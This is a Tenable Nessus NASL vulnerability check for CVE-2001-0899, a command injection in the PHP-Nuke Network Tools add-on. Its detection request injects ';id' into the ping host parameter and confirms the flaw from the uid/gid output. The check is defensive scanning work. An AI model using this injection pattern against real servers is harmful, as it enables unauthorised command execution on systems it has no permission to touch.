PHP-Nuke Network Tools Add-On Arbitrary Command Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(11106);
  script_version("1.22");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/05/12");

  script_cve_id("CVE-2001-0899");

  script_name(english:"PHP-Nuke Network Tools Add-On Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote service is vulnerable to an access control breach.");
  script_set_attribute(attribute:"description", value:
"It is possible to make the remote host execute arbitrary
commands through the use of the PHPNuke addon called
'Network Tools'.

An attacker may use this flaw to gain a shell on this system.");
  script_set_attribute(attribute:"solution", value:
"Upgrade to NetTools 0.3 or newer.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"vuln_publication_date", value:"2001/11/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2002/08/22");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:php-nuke:php-nuke");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2002-2022 Tenable Network Security, Inc.");

  script_dependencies("php_nuke_installed.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
installed = get_kb_item("www/" + port + "/php-nuke");
if ( ! installed ) exit(0);
array = eregmatch(pattern:"(.*) under (.*)", string:installed);
if ( ! array ) exit(0);
dir = array[2];


http_check_remote_code (
      unique_dir:dir,
      check_request:"/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid",
      check_result:"uid=[0-9]+.*gid=[0-9]+.*",
      command:"id",
      port:port
      );